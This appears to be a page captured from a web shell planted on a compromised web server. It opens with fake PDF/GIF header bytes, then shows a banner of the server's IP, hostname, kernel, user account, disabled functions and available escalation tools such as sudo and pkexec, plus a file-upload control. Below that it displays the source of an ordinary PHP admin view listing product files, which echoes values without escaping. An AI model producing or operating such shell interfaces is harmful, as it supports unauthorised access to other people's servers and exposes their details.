%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.164 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/www/application/views/admin/ |
Upload File : |
<?php defined('BASEPATH') OR exit('No direct script access allowed');?> <?php $this->load->view('backend/Common/Head'); ?> <?php $this->load->view('backend/Common/Header'); ?> <?php $this->load->view('backend/Common/Sidebar'); ?> <?php $this->load->view('backend/Common/Menu'); ?> <script type="text/javascript"> function areyousure() { return confirm('<?php echo lang('confirm_delete_file');?>'); } </script> <div class="button_set"> </div> <!-- page content --> <div class="right_col" role="main"> <div class=""> <div class="page-title"> <div class="title_left"> <h3>Categories <small>Listing </small></h3> </div> <div class="title_right"> <div class="col-md-5 col-sm-5 col-xs-12 form-group pull-right top_search"> <div class="input-group"> <input type="text" class="form-control" placeholder="Search for..."> <span class="input-group-btn"> <button class="btn btn-default" type="button">Go!</button> </span> </div> </div> </div> </div> <div class="clearfix"></div> <div class="row"> <div class="col-md-12"> <div class="x_panel"> <div class="x_title"> <h2>Categories</h2> <ul class="nav navbar-right panel_toolbox"> <a class="btn btn-sm btn-primary" href="<?php echo site_url($this->config->item('admin_folder').'/digital_products/form');?>"><?php echo lang('add_file');?></a> </ul> <div class="clearfix"></div> </div> <div class="x_content"> <table class="table table-striped projects" cellspacing="0" cellpadding="0"> <thead> <tr> <th ><?php echo lang('filename');?></th> <th><?php echo lang('title');?></th> <th ><?php echo lang('size');?></th> <th >Catalogue Type</th> <th >action</th> </tr> </thead> <tbody> <?php echo (count($file_list) < 1)?'<tr><td style="text-align:center;" colspan="6">'.lang('no_files').'</td></tr>':''?> <?php foreach ($file_list as $file): ?> <tr> <td class="gc_cell_left"><?php echo $file->filename ?></td> <td><?php echo $file->title ?></td> <td><?php echo $file->size ?></td> <td><?php echo ucfirst($file->catalogue_type) ?></td> <td class="gc_cell_right list_buttons"> <a href="<?php echo site_url($this->config->item('admin_folder').'/digital_products/delete/'.$file->id);?>" onclick="return areyousure();" class="btn btn-danger btn-xs"><i class="fa fa-trash-o"></i> <?php echo lang('delete');?></a> <a href="<?php echo site_url($this->config->item('admin_folder').'/digital_products/form/'.$file->id);?>" class="btn btn-primary btn-xs"><i class="fa fa-folder"></i> <?php echo lang('edit');?></a> <a href="<?php echo site_url( '/uploads/digital_uploads/'.$file->filename);?>" class="btn btn-primary btn-xs"><i class="fa fa-folder"></i> Link</a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> </div> </div> </div> </div> <!-- /page content --> <!-- /page content --> <?php $this->load->view('backend/Common/Footer'); ?> </div> </div> <?php $this->load->view('backend/Common/Script'); ?> </body> </html>